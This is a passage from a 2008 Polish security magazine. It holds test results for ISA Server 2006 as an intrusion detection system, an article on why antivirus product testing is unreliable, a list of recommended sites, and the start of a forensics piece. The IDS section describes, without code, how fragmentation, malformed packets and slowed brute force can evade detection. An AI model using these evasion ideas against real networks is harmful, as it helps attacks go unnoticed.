Wykrycie ISA Server 2006 wy-
krył atak natychmiast.
ISA Server 2006 wykrył
atak natychmiast.
Atak nie został wykry-
ty. Można się jednak
zabezpieczyć przed
nim w prosty sposób.
ISA Server 2006 wy-
krył atak natychmiast.
Tabela 4b.
Podsumowanie testów
UDP Bomb /
Flood
Brute Force FTP
Teardropping
WinNuke
Ping Flooding,
nieprawidłowe
pakiety ICMP
CVE
CVE-1999-0103,
CVE-2002-2150
CVE-1999-0017,
CVE-1999-0079,
CVE-1999-0614
CVE-1999-0104,
CVE-1999-0015
CVE-1999-0153
CVE-1999-0128
Skutek
Zasoby systemo-
we zostały zajęte
przez atak.
Uzyskano dostęp do
kont użytkowników
FTP.
Nie zaobserwowa-
no działań, które
potencjalnie mo-
głyby zaszkodzić
atakowanym sys-
temom.
Nie zaobserwo-
wano działań,
które potencjal-
nie mogłyby za-
szkodzić atako-
wanym syste-
mom.
Spowolnienie
działania serwera
ISA. Zablokowa-
nie połączeń.
Wykry-
cie
ISA Server wy-
świetlił alarmy, któ-
re pomogą zorien-
tować się, że na-
stępuje atak.
Atak ten nie został
wykryty. Dostęp do
serwera uwarunko-
wany jest ustawie-
niami dodatkowych
aplikacji.
Atak nie został
wykryty.
ISA Server 2006
wykrył atak na-
tychmiast.
ISA Server 2006
nie wykrył ata-
ku, ale wyświetlił
alarmy wywołane
skutkami ataku.
ISA 2006 jako IDS/IPS?
hakin9 Nr 2/2008
www.hakin9.org
57
my prawdopodobieństwo wystąpie-
nia ataków. ISA Server 2006 posia-
da wbudowane mechanizmy, które
blokują ruch w przypadku, gdy je-
go parametry osiągną wyznaczo-
ną wartość progową (np. zbyt wiele
przychodzących pakietów ICMP).
W przeprowadzonych testach da-
ło się zauważyć, że jeśli wysyłamy
pakiety w inny sposób, niż zosta-
ło to narzucone przezdaną aplika-
cję czy ogólne ustawienia sieciowe,
to nie są one wykrywane przez ser-
wer ISA. Czasem jest to brak de-
tekcji na poziomie monitorowania
ruchu przychodzącego, jak w przy-
padku zmodyfikowanych pakie-
tów PING, a niekiedy jest to tylko
zaniechanie wyświetlenia alarmu
na tablicy rozdzielczej, ponieważ
określony zbiór pakietów nie jest
uznawany za zagrożenie. Obydwie
sytuacje zmniejszają prawdopodo-
bieństwo wykrycia danego ataku.
Tak było w przypadku ataku Brute
Force FTP, w którym odstępy mie-
dzy wysyłaniem kolejnych pakietów
zostały celowo zwiększone. Sy-
tuacja taka nie zagraża w znacz-
nym stopniu bezpieczeństwu sie-
ci. Należy pamiętać, że system IDS
na serwerze ISA jest tylko dodatko-
wym modułem. Zestawienie wyko-
nanych testów znajduje się w Tabe-
lach 4a i 4b Podsumowanie testów.
Większość dostępnych sys-
temów IDS została zintegrowana
z systemami reagującymi na zda-
rzenia. Wystąpienie podejrzanego
incydentu inicjuje reakcję uwarun-
kowaną technologicznie oraz jest
w stanie oddziaływać z systemem.
Korzystając z wbudowanych algo-
rytmów analizy kontekstowej, sys-
tem IDS odrzuca niektóre pakie-
ty, a część przechowuje do dalsze-
go monitorowania. Słabością wie-
lu systemów IDS jest to, że zbie-
rają one pofragmentowane pakiety.
W sytuacji, gdy zostanie nawiąza-
nych wiele połączeń i każde z nich
będzie wymagało obsługi fragmen-
tacji pakietów, system będzie prze-
chowywał pofragmentowane pakie-
ty do momentu, aż nie nadejdzie
ostatni z nich. Działanie takie może
doprowadzić do przepełnienia bufo-
ra pakietów, co sprzyja wykonaniu
innych ataków nie będąc zauwa-
żonym. Oczywiście systemy IDS
mają zakodowany czas, w którym
mają otrzymać ostatnią część pa-
kietu – jeśli jej nie otrzymają, po-
zostałe fragmenty są odrzucane.
Mieszcząc się jednak w wyznaczo-
nych granicach czasowych, można
oszukać system. Innym ciekawym
sposobem na to jest korzystanie
z pakietów, które nie zostały zde-
finiowane w żadnym z protokołów.
Istnienie pakietów, które nie są pra-
widłowe dla danego systemu opera-
cyjnego, jest w pełni akceptowalne,
gdyż istnieje zarówno wiele syste-
mów operacyjnych, jak i producen-
tów oprogramowania. Dopuszczal-
ne są więc takie konstrukcje pakie-
tów, które umożliwiłyby komunika-
cję oprogramowania różnych pro-
ducentów. Systemy wykrywania na-
ruszeń muszą rozumieć te pakie-
ty, włączając w to nawet takie, któ-
re są charakterystyczne dla danej
aplikacji. Pakiety można dowolnie
modyfikować, zachowując oczywi-
ście zasady, które umożliwiają ich
funkcjonowanie. Na tej podsta-
wie tworzy się nietypowe strumie-
nie danych, wykorzystując do tego
celu np. fragmentację IP lub kolej-
kowanie segmentów TCP. Mody-
fikacja pakietów polegała niegdyś
na zamianie danych, teraz już – kie-
dy atak Man-In-The-Middle nie jest
problemem – modyfikuje się np. ad-
res IP, pole TTL, TOS (Type of Se-
rvice) lub dodaje do nagłówka sour-
ce routing z określeniem trasy, wy-
konując przez to atak typu DoS. Pa-
kiety nie są jednak dowolnie mody-
fikowalne, gdyż komputer, do któ-
rego wędruje pakiet, posiada pew-
ne wbudowane standardy, w ja-
kich przychodzące pakiety mają się
mieścić. Gdy pakiet jest zbyt silnie
zmodyfikowany, to docelowy sys-
tem po prostu go nie zauważy, al-
bo nie będzie reagował zgodnie
z oczekiwaniami.
Wykrywanie włamań w syste-
mach i sieciach komputerowych jest
ciągłym procesem, który powinien
być dynamicznie rozwijany wraz
z innymi mechanizmami zabezpie-
czeń, takimi jak zapora ogniowa czy
konfiguracja polityk dostępowych na
stacjach roboczych użytkowników.
Należy pamiętać, że omawiane
w niniejszym artykule rozwiązanie
Microsoft ISA Server 2006 stanowi
jedynie dodatkowy poziom zabez-
pieczeń i nie będzie zapobiegało
ono np. złośliwym działaniom użyt-
kowników, nie zastąpi także do-
brze skonfigurowanych routerów
czy innych urządzeń sieciowych.
System można uznać za bezpiecz-
ny, jeśli ocena wynikająca z aksjo-
matu mówiącego, że poziom bez-
pieczeństwa systemu jest taki, jak
jego najsłabsze ogniwo, będzie za-
dowalająca i pozwoli na komplek-
sową ochronę przetwarzanych da-
nych. Po przeprowadzeniu testów
bezpieczeństwa oraz po spraw-
dzeniu, czy testy te są wykrywane,
nasuwa się wniosek, że każde roz-
wiązanie podnoszące poziom bez-
pieczeństwa jest warte zastosowa-
nia. Dlatego też, mając na uwadze
dynamikę powstawania nowych za-
grożeń, system wykrywania wła-
mań jest rozwiązaniem godnym po-
lecenia. l
O autorze
Pasjonatka zagadnień związanych z bezpieczeństwem systemów teleinforma-
tycznych. Posiada certyfikację MCSE+Security oraz tytuł certyfikowanego trene-
ra Microsoft (MCT). Zawodowo zajmuje się przeprowadzaniem audytów bezpie-
czeństwa oraz bezpieczeństwem organizacyjnym w oparciu o obowiązujące nor-
my i standardy, posiada wiele publikacji z tej dziedziny. Interesuje się problema-
tyką związaną z zarządzaniem i analizą ryzyka, a także metodykami wspoma-
gającymi modelowanie zagrożeń. Dwukrotna stypendystka Ministra Edukacji Na-
rodowej za osiągnięcia naukowe. Na co dzień pracuje w firmie ISCG Sp. Z o.o.
w Warszawie.
Kontakt z autorem: paula.januszkiewicz@gmail.com
www.hakin9.org
hakin9 Nr 2/2008
58
Obrona
S
ą trzy rodzaje kłamstw: kłamstwa,
okropne kłamstwa i statystyki – Ben-
jamin Disraeli
Kto przeprowadza testy
Testujących programy antywirusowe moż-
na podzielić na kilka grup. Pierwszą tworzą
indywidualni użytkownicy, którzy korzysta-
ją z programu antywirusowego. Często chcą
sprawdzić, czy dokonali właściwego wybo-
ru, wykorzystując na przykład skaner onli-
ne producenta konkurencyjnego programu.
Choć nie mają pojęcia o zagrożeniach, wy-
krzykują hasła wysławiające konkretne apli-
kacje i znieważające inne, ponieważ któryś
z programów wykrył wirusa, którego nie wy-
krył inny antywirus. Wyniki swoich testów pu-
blikują na forach internetowych, na blogach
i w komentarzach do artykułów. Tych wypo-
wiedzi nikt rozsądny nie traktuje poważnie,
ponieważ są całkowicie subiektywne i błęd-
nie interpretują fakty.
Drugą grupą są testerzy–amatorzy. Te-
sty przeprowadzane przez nich polegają na
instalacji kilku programów antywirusowych
i przeskanowaniu większej lub mniejszej
(zwykle mniejszej) kolekcji zagrożeń. Przy-
gotowują oni strony z wynikami, na których
znajdują się zestawienia wykrywalności pro-
gramów. Osoby te, przeprowadzając testy
czysto amatorsko, nie muszą dbać o ich ja-
kość – przez co jest ona bardzo niska. Wy-
niki, choć na pierwszy rzut oka interesują-
ce, są sfałszowane na skutek przyjęcia błęd-
nej metodyki. Błędna metodyka jest nieste-
ty najczęstszym problem, z którym borykają
Wiarygodność
testów programów
antywirusowych
Jakub Dębski
stopień trudności
W przypadku programów antywirusowych jedną z najbardziej
kontrowersyjnych kwestii są ich testy. Wzbudzają wiele emocji
wśród użytkowników, wśród potencjalnych nabywców i wśród
konkurujących firm antywirusowych. Są istotne, ponieważ
kształtują obraz produktu antywirusowego – co przekłada się
na decyzje o jego zakupie, czyli na pieniądze.
Z artykułu dowiesz się
• jak przeprowadzane są testy programów anty-
wirusowych,
• jak twórcy programów exploitują metodyki
przeprowadzania testów,
• dlaczego większość istniejących testów jest
nierzetelna.
Co powinieneś wiedzieć
• powinieneś znać podstawy działania progra-
mów antywirusowych,
• powinieneś znać podstawową terminologię
związaną z niebezpiecznym oprogramowa-
niem.
Wiarygodność testów programów antywirusowych
hakin9 Nr 2/2008
www.hakin9.org
59
się również profesjonalni testerzy.
Jak pokażę w dalszej części artyku-
łu, nawet przyjęcie lepszej nie daje
wiarygodnych rezultatów.
Trzecią grupą są profesjonalni te-
sterzy i firmy wydające certyfikaty.
Na bieżąco współpracują z firmami
antywirusowymi w celu stworzenia
jak najlepszych procedur testowych.
Czwarta grupa to dziennikarze, któ-
rzy tworzą zestawienia opierając się
na testach wykonanych własnoręcz-
nie (często takie testy są równoważ-
ne amatorskim) lub na testach zle-
conych profesjonalistom. W swo-
ich artykułach uwzględniają tak-
że dodatkowe kryteria oceny, takie
jak jakość wsparcia technicznego,
jakość instrukcji, dodatkowych na-
rzędzi, wyglądu interfejsu użytkow-
nika czy nawet pudełka. Kolejność
programów w testach mocno zale-
ży od przyjętych kryteriów dodatko-
wych – również tych niezwiąznych
z wykrywalnością.
Cel i rodzaje testów
Celem testów powinno być przełoże-
nie jakości produktu na wartości mie-
rzalne. Przed testerem stoi zadanie
wybrania tego, co testować, jak te-
stować i jakie przyjąć kryteria oceny.
Do standardowych testów progra-
mów antywirusowych należą:
• testy wykrywalności,
• testy szybkości skanowania,
• testy ochrony proaktywnej (heu-
rystyki),
• testy fałszywych alarmów.
Czasami przeprowadzane są do-
datkowe testy:
• wykorzystania zasobów,
• szybkości reakcji na zagroże-
nia,
• możliwości przebicia się przez
warstwy ochronne plików (pro-
tektory),
• skuteczności dodatkowych mo-
dułów (blokady behawioralne,
zapory ogniowe, leczenie, ska-
nery protokołów sieciowych,
wykrywacze rootkitów itd.),
• przyjrzyjmy się podstawowym
błędom popełnianym przez te-
sterów w poszczególnych kate-
goriach.
Wykrywalność
Za główny wyznacznik jakości pro-
gramu antywirusowego uznawana
jest skuteczność detekcji znanych
zagrożeń. Testujący skanują kolek-
cję plików i na podstawie wyników
ustalają procentową skuteczność
programu. Test ten wydaje się być
na tyle prosty, że trudno wymyślić,
w jaki sposób można przeprowa-
dzić go niepoprawnie. Pozory my-
lą, gdyż neutralne przeprowadze-
nie go jest praktycznie niemożliwe.
Pytaniem, które każdy powinien za-
dać, jest skąd testujący biorą prób-
ki zagrożeń?
Większość amatorów opiera te-
sty na niewielkiej kolekcji zagrożeń,
najczęściej pobranej z Internetu,
ze stron hakerskich. Kolekcja taka
składa się z od kilkuset do kilku ty-
sięcy plików. Ponieważ współcze-
śnie jest to liczba zagrożeń, która
każdego dnia dodawana jest do baz
programu antywirusowego, jest to
próba zbyt mała do przeprowadze-
nia rzetelnych testów. Aby testy mia-
ły sens, konieczne jest wykorzysta-
nie bogatej bazy zagrożeń, jaką sta-
rają się zdobyć profesjonalne firmy
testujące. Wykorzystują one różne
źródła plików:
• pobranie ze stron hakerskich,
• od dostawców skrzynek poczto-
wych,
• z honeypotów;
• zebrane przez roboty interneto-
we,
• od niezależnych zbieraczy,
• od producentów programów an-
tywirusowych.
Dostawcy skrzynek pocztowych są
dobrym źródłem robaków poczto-
wych, ale nie są w stanie dostar-
czyć koni trojańskich, wirusów in-
fekujących pliki, dialerów, downlo-
aderów czy exploitów. Do tego słu-
żą honeypoty i roboty internetowe,
które chodzą po stronach i pobie-
rają niebezpieczne oprogramowa-
nie. Źródłem, które dostarcza wię-
cej próbek, są niezależni zbieracze,
którzy kolekcjonują niebezpiecz-
ne oprogramowanie i wykorzystują
powyższe źródła. Ponieważ wymie-
niają się z osobami z całego świa-
ta, są w stanie sprowadzić specy-
ficzne dla wybranego regionu konie
trojańskie. Kolejnym źródłem są sa-
me firmy antywirusowe, które mają
najwięcej próbek. Jedna firma jest
w stanie dostarczyć do testu wię-
cej próbek niż wszystkie powyższe
źródła razem wzięte. Miesięczny
zestaw może zawierać nawet kilka-
dziesiąt tysięcy próbek. Z tego po-
wodu firmy antywirusowe mają naj-
większy wpływ na zestaw testowy.
Ponieważ pomiędzy firmami nastę-
puje wymiana próbek, te, które wy-
mieniają się i te, które dostarczają
najwięcej próbek mają największe
szanse uzyskać wysoki wynik w te-
stach. Nijak ma się to rzeczywisto-
ści, gdyż liczy się jedynie liczba wy-
krywanych plików zestawu testowe-
go. Czyich próbek w zestawie jest
więcej, ten wygrywa.
Kolejną kwestią jest jakość sa-
mego zestawu. W jaki sposób moż-
na sprawdzić, czy pliki w zestawie te-
stowym są rzeczywiście zagrożenia-
mi, a nie na przykład uszkodzonymi
plikami, w których programy antywi-
rusowe przypadkiem coś wykrywa-
ją? Niektórzy robią to następująco:
Skanujemy próbki za pomocą AVP
i F–prot i usuwamy wszystkie ozna-
czone jako OK, Prawdopodobnie Za-
infekowane, Podejrzane lub Uszko-
dzone (tekst z jednego z najwięk-
szych amatorskich testów). W efek-
cie tego pozostają w kolekcji jedynie
próbki, które są wykrywane przez
powyższe antywirusy, a usuwane te,
które są wykrywane wyłącznie przez
inne. Zgadnijmy, które dwa antywiru-
sy będą zawsze w czołówce powyż-
szego testu?
Testujący powinni sprawdzić
wszystkie próbki, które do nich tra-
fiają. Kolekcje pełne są starych do-
sowych wirusów, niedziałających na
nowych systemach, plików uszko-
dzonych, plików z pozostałościa-
mi po leczeniu infekcji, a nawet pli-
ków nie będących nigdy zagroże-
niami, w których program antywiru-
sowy błędnie wykrywa zagrożenie.
hakin9 Nr 2/2008
www.hakin9.org
Obrona
60
Sprawdzanie powinno odbywać się
na komputerach rzeczywistych, po-
nieważ coraz więcej niebezpieczne-
go oprogramowania wykrywa wir-
tualne środowisko i zachowuje się
w odmienny sposób. Czy jest
w ogóle możliwe sprawdzenie jako-
ści próbek? Na pewno można wy-
kluczyć pliki uszkodzone lub o nie-
poprawnym formacie. Nie jest jed-
nak możliwe sprawdzenie w rozsąd-
nym czasie całej kolekcji. W najnow-
szych testach liczbę wykorzystywa-
nych próbek liczy się w setkach ty-
sięcy. Przekracza to możliwości na-
wet profesjonalnych testerów.
Zwróćmy uwagę, że niebez-
pieczne oprogramowanie działa
w środowisku dynamicznym. Bot
może działać tylko, gdy potrafi za-
logować się na kanał IRC by otrzy-
mywać polecenia, downloader jest
groźny tylko, gdy aktywny jest ser-
wer HTTP, z którego ściąga niebez-
pieczne oprogramowanie, exploit
zadziała na nie załatanym oprogra-
mowaniu. Ponieważ długość życia
przeciętnego niebezpiecznego pro-
gramu to kilka dni, większość pli-
ków w kolekcjach nigdy już nie bę-
dzie groźna. Nie ma również moż-
liwości stwierdzenia, że aktualnie
niedziałająca próbka nie zadziała
ponownie z biegiem czasu lub uru-
chomiona w innym środowisku.
Istnienie w kolekcjach niedziała-
jących próbek powoduje absurdal-
ną sytuację –programy antywiru-
sowe muszą wykrywać zagrożenia
w plikach, które nie są groźne, wy-
łącznie w celu osiągnięcia lepsze-
go wyniku w testach. Prowadzi to
do sytuacji, w której tester stwier-
dza, że plik jest na pewno groźny,
bo wykrywa go kilka firm antywiru-
sowych, po czym kolejne firmy mu-
szą dodać go do swoich baz, aby
nie pozostać w tyle w testach.
Nawet w przypadku sprawdza-
nia poprawności próbek przez te-
stujących istnieje efekt zwany psu-
ciem kolekcji. Polega on na tym, że
do odróżnienia dwóch próbek naj-
częściej wykorzystuje się sumę
kontrolną pliku (najczęściej MD5).
Zmiana choć jednego bajta (lub do-
pisanie go na końcu pliku) powodu-
je, że w kolekcji znajdą się dwa pra-
wie identyczne pliki. W momencie,
gdy tak zduplikowany plik jest wy-
krywany tylko przez jednego an-
tywirusa, uzyskuje on przewagę
nad konkurencją. Co w przypad-
ku, gdy plik jest zduplikowany 1000
razy? Czy to wciąż inny robak
(w końcu ma inne MD5), czy ten sam
i plik w kolekcji powinien pozostać
jeden? Jeżeli tak, to jaką przyjąć
miarę podobieństwa do wyklucza-
nia podobnych plików z kolekcji?
Niestety, kolekcje są pełne takich
próbek, być może umieszczanych
w nich celowo.
Szybkość skanowania
Drugim najpopularniejszym kryte-
rium testu jest szybkość skanowa-
nia programów antywirusowych.
W tym przypadku testujący przyj-
mują błędną metodykę z powodu
niewiedzy na temat działania pro-
gramów antywirusowych. Najczę-
ściej proces testowania przebiega
następująco:
• programy antywirusowe są ścią-
gane ze strony producenta lub
otrzymywane od niego,
• programy instalowane są na
komputerach testowych,
• o określonej godzinie następuje
ich aktualizacja,
• wyłączany jest proces aktuali-
zacji,
• następuje test poszczególnych
programów.
W przypadku testów profesjonal-
nych proces aktualizacji nie na-
stępuje nigdy, a jedynie testowane
są wersje otrzymane od producen-
ta programu. W ten sposób nie po-
wstają problemy związane z różni-
cami czasów aktualizacji. Można
dzięki temu przetestować wszyst-
kie programy na jednym kompu-
terze, na zapamiętanym obrazie
systemu. Większość testów ama-
torskich pomija kwestie buforowa-
nia dostępu do plików przez sys-
tem plików, przez co kolejny testo-
wany program antywirusowy dzia-
ła szybciej niż pierwszy urucho-
miony.
Testerzy profesjonalni dokonują
testów dokładnie w takich samych
warunkach (przywrócenie obrazu
systemu), przez co szybkość nie po-
winna być sfałszowana. Tak jednak
nie jest. W niektórych programach
antywirusowych stworzono mecha-
nizmy, dzięki którym wypadają one
lepiej w testach. Specjalny sterownik
sprawdza, czy plik został już skontro-
lowany i plik taki nie jest sprawdza-
ny ponownie. Z tego powodu urucho-
mienie (bez przywrócenia czystego
systemu, nawet po restarcie) ska-
nowania on–access lub on–demand
powoduje, że drugi w kolejności test
przebiega błyskawicznie.
W rzeczywistości taki sterownik
nie przynosi zysku. Po każdej ak-
tualizacji programu antywirusowe-
go pliki muszą być sprawdzone po-
nownie, ponieważ w bazach poja-
wią się nowe informacje o zagro-
żeniach i plik występujący na dys-
ku może okazać się właśnie doda-
nym zagrożeniem. Aktualizacje pro-
gramów antywirusowych następu-
ją kilka razy dziennie, więc plik mu-
si być po każdej z nich sprawdza-
ny. Ponieważ w testach profesjonal-
nych aktualizacje są wyłączane, pro-
gramy stosujące wyżej wymienioną
technikę osiągają bardzo dobre re-
zultaty dla skanera on–access lub
on–demand, w zależności od tego,
który z nich jest testowany jako dru-
gi. Sterownik taki powoduje dodatko-
we zagrożenie związane z możliwo-
ścią podmiany czystego pliku na nie-
bezpieczny przy nieaktywnym ste-
rowniku. Plik taki nie zostanie spraw-
W Sieci
Profesjonalne testy programów antywirusowych:
• AV–Comparatives – http://www.av–comparatives.org,
• AV–Test.org – http://www.av–test.org,
• Virus Bulletin – http://www.virusbtn.com/vb100/index.
hakin9 Nr 2/2008
61
dzony aż do kolejnej aktualizacji programu antywiruso-
wego. Innym błędem powtarzanym przez amatorów jest
testowanie szybkości skanowania na kolekcjach zagro-
żeń zamiast na czystych plikach. Test taki nie ma sensu,
ponieważ istotne jest spowolnienie systemu w przypad-
ku czystych plików. W rzeczywistym systemie potencjal-
ne zagrożenia stanowią ułamek procenta czystych obiek-
tów, które są sprawdzane przez program antywirusowy.
Sprawdzanie obiektów groźnych może być długie – waż-
ne, aby było skuteczne.
Testy ochrony proaktywnej
Współcześnie programy antywirusowe zmierzają
w kierunku blokowania niebezpieczeństw zanim do-
trą one do użytkownika. Jedną z najskuteczniejszych
metod są mechanizmy heurystyczne wykrywające no-
we zagrożenia, których sygnatury nie są jeszcze zna-
ne. Heurystyka najczęściej testowana jest w następu-
jący sposób:
• program antywirusowy i jego bazy są zamrażane
określonego dnia,
• po miesiącu, dwóch lub trzech nowe pliki z kolekcji są
testowane za pomocą programu antywirusowego,
• liczba wykrytych próbek stanowi o sile mechanizmów
heurystycznych.
Autorzy testów po raz kolejny popełniają błąd w meto-
dyce, przez co test ten nie oddaje rzeczywistej skutecz-
ności. Przykładowo silnik heurystyczny programu ESET
NOD32 jest silnikiem adaptującym się. Każda dodana sy-
gnatura generyczna zwiększa skuteczność detekcji heu-
rystycznej, gdyż silnik dostosowuje się do aktualnie poja-
wiających się zagrożeń. Każda kolejna aktualizacja pro-
gramu zwiększa prawdopodobieństwo wykrycia nowego
zagrożenia. Ponieważ program antywirusowy w teście
zostaje zamrożony, jego testowa skuteczność jest znacz-
nie mniejsza niż programu na bieżąco aktualizowanego.
Testy ochrony proaktywnej są niemiarodajne rów-
nież z innego powodu. Tym powodem jest różnica
w czasie dostępu do próbek przez testującego i przez
producenta programu antywirusowego. Przyjrzyjmy
się sytuacji, w której producent programu antywiruso-
wego otrzyma próbkę szybciej niż testujący:
• producent programu dodaje wzorzec próbki do pro-
gramu,
• następuje zamrożenie programu przez testera
(przestaje być aktualizowany),
• testujący otrzymuje daną próbkę i dodaje ją do ko-
lekcji próbek nowych,
• po określonym czasie za pomocą zamrożonego
programu antywirusowego testowana jest skutecz-
ność wykrywania nowych próbek,
• próbka jest wykrywana wzorcem, ale tester uznaje
ją za nową, więc detekcję traktuje jako heurystycz-
ną i zawyża skuteczność danego programu.
hakin9 Nr 2/2008
www.hakin9.org
Obrona
62
stu fałszywych alarmów mogą być
bardzo różne.
Między innymi z powodu fał-
szywych alarmów konieczna jest
współpraca autorów testów z twór-
cami programów antywirusowych.
Twórcy programów po każdym te-
ście chcą odtworzyć procedury te-
stowe w swoim środowisku, ponie-
waż często testy zawierają ewi-
dentne błędy. Wielokrotnie zdarza
się, że fałszywy alarm okazuje się
rzeczywistym zagrożeniem wykry-
wanym tylko przez jeden program
antywirusowy. Mimo tego opinio-
twórcze wyniki bywają publikowa-
ne zanim nastąpi możliwość ich
weryfikacji.
Testy a rzeczywistość
Samo wykrycie zagrożenia w pli-
ku nie oznacza, że program anty-
wirusowy jest w stanie zabezpie-
czyć przed nim system. Testy nie
oddają rzeczywistości, ponieważ
niebezpieczeństwo występuje czę-
sto zanim program zostanie zapi-
sany do pliku. Exploit jest w stanie
zaatakować program pocztowy czy
przeglądarkę internetową w mo-
mencie, gdy odpowiednio spreparo-
wany obiekt znajdzie się w pamięci
komputera. Spreparowany strumień
wideo lub audio może zainstalować
konia trojańskiego poprzez błąd w
odtwarzaczu. Niebezpieczny kod
może działać bez instalacji na dys-
ku, w ramach innego procesu lub
jako samodzielny proces. Ponieważ
programy zabezpieczające wyko-
rzystują różne techniki i skanowa-
nie odbywa się na różnych pozio-
mach, niezwykle trudno jest porów-
nać ich rzeczywiste możliwości.
Dotychczas żaden z testów
nie skupia się na wielopoziomowej
Poprzez opóźnione udostępnienie
testującemu próbek już wykrywa-
nych możliwe jest sztuczne zawyże-
nie skuteczności w testach mechani-
zmów heurystycznych.
Testy fałszywych
alarmów
Programy antywirusowe muszą
mieć wysoką skuteczność wykry-
wania zagrożeń, ale nie mogą po-
wodować fałszywych alarmów,
które bywają bardziej niebezpiecz-
ne niż konie trojańskie. W celach
testowych gromadzone są setki ty-
sięcy czystych plików, które skła-
dają się na zestaw testowy. Nie-
stety, wielokrotnie zdarza się, że
testerzy w kolekcjach plików czy-
stych posiadają pliki niebezpiecz-
ne lub o wątpliwej bezpieczności.
Wszystkie pliki wykrywane choć
przez jeden program antywiru-
sowy muszą być przeanalizowa-
ne (wymagany jest tu reverse en-
gineering), ponieważ nawet w ko-
lekcjach plików czystych dołącza-
nych do czasopism lub na stro-
nach z darmowym oprogramowa-
niem znajdują się realne zagroże-
nia. Amatorzy zwykle nie posiada-
ją umiejętności pozwalających na
dokonanie takich analiz.
Największym problemem kolek-
cji czystych plików są pliki z tzw.
szarej strefy, które trudno zaklasy-
fikować jako dobre lub złe. Progra-
my antywirusowe często testowa-
ne są z domyślnymi ustawieniami,
które bywają różne w różnych pro-
gramach. W niektórych domyśl-
nie włączone jest wykrywanie po-
tencjalnie niebezpiecznych aplika-
cji (riskware), których zwykli użyt-
kownicy nie powinni mieć, a któ-
rych występowanie może świad-
czyć o ataku. Do takich aplikacji
zaliczają się programy typu net-
cat czy remote administrator. In-
ne programy domyślnie wykrywa-
ją niechciane aplikacje. Występują
one u zwykłych użytkowników, ale
często użytkownicy nie chcą ich
mieć (np. adware). W zależności
od domyślnych ustawień testowa-
nych programów i tego, co testują-
cy uznaje za czysty plik, wyniki te-
O autorze
Jakub Dębski, starszy analityk w firmie ESET (producent programu NOD32), spe-
cjalizującej się w ochronie proaktywnej z wykorzystaniem najbardziej zaawanso-
wanych mechanizmów analizy heurystycznej. Wcześniej wieloletni pracownik pol-
skich firm antywirusowych. Był kierownikiem projektu silnika mks_vir, następnie Ar-
caVir. Studia na Wojskowej Akademii Technicznej ukończył obroną pracy dyplomo-
wej na temat wykorzystania sieci neuronowych w detekcji zagrożeń internetowych.
Kontakt z autorem: debski.jakub@wp.pl
ochronie, jaką zapewniają współcze-
sne pakiety bezpieczeństwa.
Znaczenie testów
O wadze problemu, jakim są te-
sty programów, może świadczyć
coraz częstsze pojawianie się te-
go zagadnienia na konferencjach
poświęconych
bezpieczeństwu.
Na ostatnich konferencjach Virus
Bulletin było kilka prelekcji na temat
przeprowadzania testów, ich zakre-
su, proponowanych rozwiązań i po-
tencjalnych problemów. Wywoła-
ły one na tyle duże zainteresowa-
nie, że w maju 2007 roku odbyły
się w Reykjaviku międzynarodowe
warsztaty testowania programów
antywirusowych, na których przed-
stawiciele firm starali się dojść po-
rozumienia z testerami. Ponieważ
każda firma chce wypaść w testach
jak najlepiej, wątpliwe jest wypraco-
wanie metodyki, która zadowoli za-
równo testerów, firmy antywiruso-
we, jak i użytkowników.
Podsumowanie
Najlepsze antywirusy w testach róż-
nią się o kilka procent. Ze względu
na problemy związane z przepro-
wadzaniem testów niezwykle trud-
no jest uznać jednoznacznie zwy-
cięstwo w jakości któregokolwiek
z nich. Mimo to na wynikach testów
opierają się działy marketingu, a na-
bywcy podejmują decyzje o zakupie
konkretnego produktu. Pozostaje
mieć nadzieję, że w przyszłości uda
się stworzyć wspólnymi siłami testy,
które umożliwią obiektywną ocenę
jakości i bezpieczeństwo przestanie
być niemierzalne. l
Strony rekomendowane
Misją serwisu jest zaprezentowanie języ-
ków programowania oraz ułatwienie użyt-
kownikowi ich szybkiej nauki.
http://www.cjp.xt.pl
Strona firmy świadczącej profesjonalne
usługii IT, specjalizującej się w wypożycza-
niu serwerów i macierzy. Firma prowadzi
także centrum szkoleniowe.
http://www.itlpolska.pl
Portal poświęcony technikom programo-
wania oraz sposobom ochrony przed za-
grożeniami jakie płyną z Internetu. Przedsta-
wione techniki służą do celów edukacyjnych,
nie należy ich wykorzystywać w niewłaści-
wy sposób.
http://www.hackerzy.pl
Portal internetowy poświęcony w całości
branży IT. Podzielony jest na trzy działy po-
święcone sprzętowi komputerowemu, grom
i rozrywce oraz najnowszym aplikacjom.
http://www.pcarena.pl/index.php
Do niedawna termin hacking był zarezerwo-
wany tylko dla profesjonalistów. Na tym por-
talu można dowiedzieć się więcej o tym za-
gadnieniu. Znajdują się na nim również aktu-
alności i obszerny dział downloads.
http://www.hakerczat.prv.pl/index.html
Portal dla wszystkich zainteresowanych te-
matyką bezpieczeństwa, audytem, IT Go-
vernance w sieciach i systemach teleinfor-
matycznych, a także ochroną danych.
http://www.locos.pl/
Witryna poświęcona w całości tematy-
ce hakingu. Początkujący w tej dziedzinie
znajdą na niej działy, ktore im umożliwią
rozpoczęcie nauki.
http://www.haker.ocom.pl/
Misją serwisu jest dostarczenie dużej ilo-
ści informacji z zakresu informatyki. Znaj-
dują się na nim ciekawe artykuły, najśwież-
sze informacje z rynku IT, recenzje książek
jak i kursy tworzenia portali www.
http://www.swww.pl/
Serwis poświęcony branży IT oferujący
codzienne newsy, artykuły, recenzje ma-
gazynów, testy oraz forum dyskusyjne.
http://www.webhat.pl/index.php
Strona dla każdego webmastera i hackera.
Jeśli zawsze chciałeś stworzyć swoją stro-
nę internetowej lub poznać haking od pod-
szewki, to ten serwis Ci w tym pomoże.
http://web4u.neth.pl/
Strona internetowa firmy Fit Consulting spe-
cjalizującej się w nowoczesnych rozwią-
zaniach informatycznych, zaczynając od
sprzedaży sprzętu komputerowego i świad-
czeniu usług po zaawansowane rozwiązania
zarządzania przedsiębiorstwem.
http://www.fit-consulting.pl/
Strona koła naukowego PK IT Security Gro-
up. Koło ma na celu dostarczanie informacji
związanych z bezpieczeństwem.
http://www.pkitsec.pl/
Strony rekomendowane
www.hakin9.org
hakin9 Nr 2/2008
64
Obrona
N
a rynku światowym istnieje wiele in-
stytucji zajmujących się profesjonal-
ną analizą przypadków przestępstw
komputerowych. Istnieje specjalistyczne
oprogramowanie służące zbieraniu danych
o przestępstwie oraz pozwalające na do-
głębną analizę zdobytych informacji i wła-
ściwe zabezpieczenie ich w celu później-
szego wykorzystania jako dowody w spra-
wach sądowych. Jedną z firm produkują-
cych takie oprogramowanie jest AccessDa-
ta. Niestety oprogramowanie nie należy do
tanich, produkt Forensic Toolkit kosztuje bli-
sko 5.000 złotych. Guidance Software to ko-
